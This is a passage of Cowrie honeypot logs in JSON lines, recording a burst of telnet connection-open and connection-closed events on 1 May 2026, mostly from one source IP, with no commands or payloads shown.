{"eventid":"cowrie.session.closed","duration":30.31559157371521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.204303Z","src_ip":"104.167.8.156","session":"7da7ee34c0bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57620,"dst_ip":"10.17.0.5","dst_port":23,"session":"9037cb9108cc","protocol":"telnet","message":"New connection: 188.208.141.113:57620 (10.17.0.5:23) [session: 9037cb9108cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.218591Z"}
{"eventid":"cowrie.session.closed","duration":30.993553161621094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.226814Z","src_ip":"104.167.8.156","session":"e4d480eca423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.318257093429565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.448718Z","src_ip":"104.167.8.156","session":"2332de2b71cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.50339365005493,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.579939Z","src_ip":"188.208.141.113","session":"3b96a06d4e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.51483511924744,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.583796Z","src_ip":"188.208.141.113","session":"614ec0a6653c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.177633047103882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.656117Z","src_ip":"104.167.8.156","session":"c47ce6e2840d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46488,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6bed8dbf4d0","protocol":"telnet","message":"New connection: 104.167.8.156:46488 (10.17.0.5:23) [session: d6bed8dbf4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:52.714426Z"}
{"eventid":"cowrie.session.closed","duration":31.411325216293335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:53.054450Z","src_ip":"108.61.251.217","session":"021a62043c5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547860860824585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:53.060378Z","src_ip":"104.167.8.156","session":"2d6b0452e790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.203023195266724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:53.254176Z","src_ip":"104.167.8.156","session":"ad538699945a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35540,"dst_ip":"10.17.0.5","dst_port":23,"session":"08869ae76129","protocol":"telnet","message":"New connection: 104.167.8.156:35540 (10.17.0.5:23) [session: 08869ae76129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:53.296844Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57624,"dst_ip":"10.17.0.5","dst_port":23,"session":"9499eff21282","protocol":"telnet","message":"New connection: 188.208.141.113:57624 (10.17.0.5:23) [session: 9499eff21282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:53.411850Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49767,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82490c13977","protocol":"telnet","message":"New connection: 104.167.8.156:49767 (10.17.0.5:23) [session: a82490c13977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:53.556495Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.90.126.209","src_port":7786,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f7b91df0c20","protocol":"telnet","message":"New connection: 102.90.126.209:7786 (10.17.0.5:23) [session: 1f7b91df0c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:53.562076Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51928,"dst_ip":"10.17.0.5","dst_port":23,"session":"0471f45d7abb","protocol":"telnet","message":"New connection: 104.167.8.156:51928 (10.17.0.5:23) [session: 0471f45d7abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.058753Z"}
{"eventid":"cowrie.session.closed","duration":30.8322811126709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.144588Z","src_ip":"104.167.8.156","session":"3b8893e7d728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7097327709198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.268689Z","src_ip":"104.167.8.156","session":"1235ce749289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65456461906433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.357672Z","src_ip":"104.167.8.156","session":"a9669eb01319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9746410846710205,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.435231Z","src_ip":"188.208.141.113","session":"75049a65864a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.785346031188965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.567309Z","src_ip":"104.167.8.156","session":"721a5caf312f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.469221353530884,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.711271Z","src_ip":"188.208.141.113","session":"2677903016c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47620,"dst_ip":"159.203.135.109","dst_port":23,"session":"7058849eace6","protocol":"telnet","message":"New connection: 98.70.41.28:47620 (159.203.135.109:23) [session: 7058849eace6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.765458Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55080,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de29d084578","protocol":"telnet","message":"New connection: 104.167.8.156:55080 (10.17.0.5:23) [session: 6de29d084578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.789977Z"}
{"eventid":"cowrie.session.closed","duration":31.074429035186768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:54.889356Z","src_ip":"104.167.8.156","session":"b27cda64a208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51790,"dst_ip":"10.17.0.5","dst_port":23,"session":"60655bb559f3","protocol":"telnet","message":"New connection: 104.167.8.156:51790 (10.17.0.5:23) [session: 60655bb559f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.028583Z"}
{"eventid":"cowrie.session.closed","duration":30.407043933868408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.039746Z","src_ip":"104.167.8.156","session":"e308e73c4d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171112298965454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.248598Z","src_ip":"104.167.8.156","session":"02f97621e126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55783176422119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.268468Z","src_ip":"104.167.8.156","session":"5a121be1ad26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0547375679016113,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.466506Z","src_ip":"188.208.141.113","session":"9499eff21282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45502,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f6f2a46833","protocol":"telnet","message":"New connection: 104.167.8.156:45502 (10.17.0.5:23) [session: 69f6f2a46833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.500700Z"}
{"eventid":"cowrie.session.closed","duration":31.653757572174072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.654502Z","src_ip":"104.167.8.156","session":"f94fd3b1281c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418091773986816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.717116Z","src_ip":"104.167.8.156","session":"5d74277e7bb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55168,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd0d18065bc","protocol":"telnet","message":"New connection: 104.167.8.156:55168 (10.17.0.5:23) [session: 3fd0d18065bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:55.810666Z"}
{"eventid":"cowrie.session.closed","duration":30.565406322479248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.077534Z","src_ip":"104.167.8.156","session":"62ac57e76790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07169818878174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.178149Z","src_ip":"104.167.8.156","session":"760a86615006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228249311447144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.245110Z","src_ip":"104.167.8.156","session":"4fcae10d15d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921710968017578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.331977Z","src_ip":"104.167.8.156","session":"47f0bd27113d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17553162574768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.336614Z","src_ip":"104.167.8.156","session":"623bd62a1c02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893084049224854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.392822Z","src_ip":"104.167.8.156","session":"a07e89978d13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21780562400818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.466493Z","src_ip":"104.167.8.156","session":"2cba30c086af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50132,"dst_ip":"10.17.0.5","dst_port":23,"session":"616654e36c86","protocol":"telnet","message":"New connection: 104.167.8.156:50132 (10.17.0.5:23) [session: 616654e36c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.628312Z"}
{"eventid":"cowrie.session.closed","duration":30.92243266105652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.633093Z","src_ip":"104.167.8.156","session":"c592a0b5ecd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039806842803955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.645422Z","src_ip":"104.167.8.156","session":"bf6664c31ff2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912807941436768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.679394Z","src_ip":"108.61.251.217","session":"0c328457207a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.763596057891846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:56.940494Z","src_ip":"104.167.8.156","session":"d9e909c3aa2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351073503494263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:57.216452Z","src_ip":"104.167.8.156","session":"79d5ca1dd5d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24506950378418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:57.360648Z","src_ip":"104.167.8.156","session":"ce0545c89d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47618,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9f36a00ce5","protocol":"telnet","message":"New connection: 98.70.41.28:47618 (159.203.135.109:23) [session: af9f36a00ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:57.404462Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57628,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48c11cec601","protocol":"telnet","message":"New connection: 188.208.141.113:57628 (10.17.0.5:23) [session: c48c11cec601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:57.790256Z"}
{"eventid":"cowrie.session.closed","duration":30.93389630317688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:57.864922Z","src_ip":"104.167.8.156","session":"fbc891a5bd1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38288,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20d332f8035","protocol":"telnet","message":"New connection: 64.227.9.242:38288 (159.203.135.109:23) [session: c20d332f8035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:57.947633Z"}
{"eventid":"cowrie.session.closed","duration":30.342564344406128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:58.308022Z","src_ip":"104.167.8.156","session":"90e61539361f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709206104278564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:58.314432Z","src_ip":"104.167.8.156","session":"da7e50979f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47626,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd3d5a2ba78f","protocol":"telnet","message":"New connection: 98.70.41.28:47626 (159.203.135.109:23) [session: bd3d5a2ba78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:58.353649Z"}
{"eventid":"cowrie.session.closed","duration":31.211254358291626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:58.431049Z","src_ip":"104.167.8.156","session":"5afd672d1f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.311909437179565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:58.626703Z","src_ip":"104.167.8.156","session":"7c9981619f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58780,"dst_ip":"10.17.0.5","dst_port":23,"session":"a879f641d39f","protocol":"telnet","message":"New connection: 104.167.8.156:58780 (10.17.0.5:23) [session: a879f641d39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:58.752476Z"}
{"eventid":"cowrie.session.closed","duration":30.244341373443604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:59.185388Z","src_ip":"104.167.8.156","session":"50b36651d1cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47638,"dst_ip":"159.203.135.109","dst_port":23,"session":"acd172c8cc87","protocol":"telnet","message":"New connection: 98.70.41.28:47638 (159.203.135.109:23) [session: acd172c8cc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:59.654412Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47174,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ad64fc3236","protocol":"telnet","message":"New connection: 104.167.8.156:47174 (10.17.0.5:23) [session: 74ad64fc3236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:59.673366Z"}
{"eventid":"cowrie.session.closed","duration":35.30999422073364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:59.795777Z","src_ip":"64.227.9.242","session":"7f7d77f66ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.415315866470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.043814Z","src_ip":"104.167.8.156","session":"d889a4be4b88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44380,"dst_ip":"10.17.0.5","dst_port":23,"session":"189d22ef76c3","protocol":"telnet","message":"New connection: 104.167.8.156:44380 (10.17.0.5:23) [session: 189d22ef76c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.073178Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49080,"dst_ip":"10.17.0.5","dst_port":23,"session":"02aed2fbac70","protocol":"telnet","message":"New connection: 104.167.8.156:49080 (10.17.0.5:23) [session: 02aed2fbac70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.125240Z"}
{"eventid":"cowrie.session.closed","duration":30.99215602874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.167097Z","src_ip":"104.167.8.156","session":"a29bcf27a1d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49748,"dst_ip":"10.17.0.5","dst_port":23,"session":"23cae6a9bac8","protocol":"telnet","message":"New connection: 104.167.8.156:49748 (10.17.0.5:23) [session: 23cae6a9bac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.267688Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50154,"dst_ip":"10.17.0.5","dst_port":23,"session":"9555876935d9","protocol":"telnet","message":"New connection: 104.167.8.156:50154 (10.17.0.5:23) [session: 9555876935d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.347622Z"}
{"eventid":"cowrie.session.closed","duration":31.10507845878601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.569199Z","src_ip":"104.167.8.156","session":"44a9d9a14bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53892,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17c20893843","protocol":"telnet","message":"New connection: 188.208.141.113:53892 (10.17.0.5:23) [session: b17c20893843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.654728Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47122,"dst_ip":"10.17.0.5","dst_port":23,"session":"225385d18b58","protocol":"telnet","message":"New connection: 104.167.8.156:47122 (10.17.0.5:23) [session: 225385d18b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.662391Z"}
{"eventid":"cowrie.session.closed","duration":31.22795844078064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.742656Z","src_ip":"104.167.8.156","session":"a06d6d0db69a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31808376312256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:00.960518Z","src_ip":"104.167.8.156","session":"0e846adb3752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.659396171569824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:01.044000Z","src_ip":"104.167.8.156","session":"7b25006d3f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842596292495728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:01.547076Z","src_ip":"104.167.8.156","session":"1dc5324bdab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53320336341858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:01.668163Z","src_ip":"104.167.8.156","session":"f957c6cad4e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56007,"dst_ip":"10.17.0.5","dst_port":23,"session":"22799f727503","protocol":"telnet","message":"New connection: 104.167.8.156:56007 (10.17.0.5:23) [session: 22799f727503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:01.791091Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecac076e13fc","protocol":"telnet","message":"New connection: 104.167.8.156:52534 (10.17.0.5:23) [session: ecac076e13fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:01.927045Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52930,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad6563e46f8a","protocol":"telnet","message":"New connection: 104.167.8.156:52930 (10.17.0.5:23) [session: ad6563e46f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.032906Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b5e1a8be22","protocol":"telnet","message":"New connection: 104.167.8.156:57580 (10.17.0.5:23) [session: e5b5e1a8be22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.140951Z"}
{"eventid":"cowrie.session.closed","duration":30.47185969352722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.170779Z","src_ip":"98.70.41.28","session":"9b6232deba45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.108522891998291,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.326979Z","src_ip":"188.208.141.113","session":"9037cb9108cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3279926776886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.336699Z","src_ip":"104.167.8.156","session":"bac3ceac38e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba988c84a25b","protocol":"telnet","message":"New connection: 104.167.8.156:54748 (10.17.0.5:23) [session: ba988c84a25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.486600Z"}
{"eventid":"cowrie.session.closed","duration":31.290299654006958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.522778Z","src_ip":"104.167.8.156","session":"30fc16397328","protocol":"telnet"}
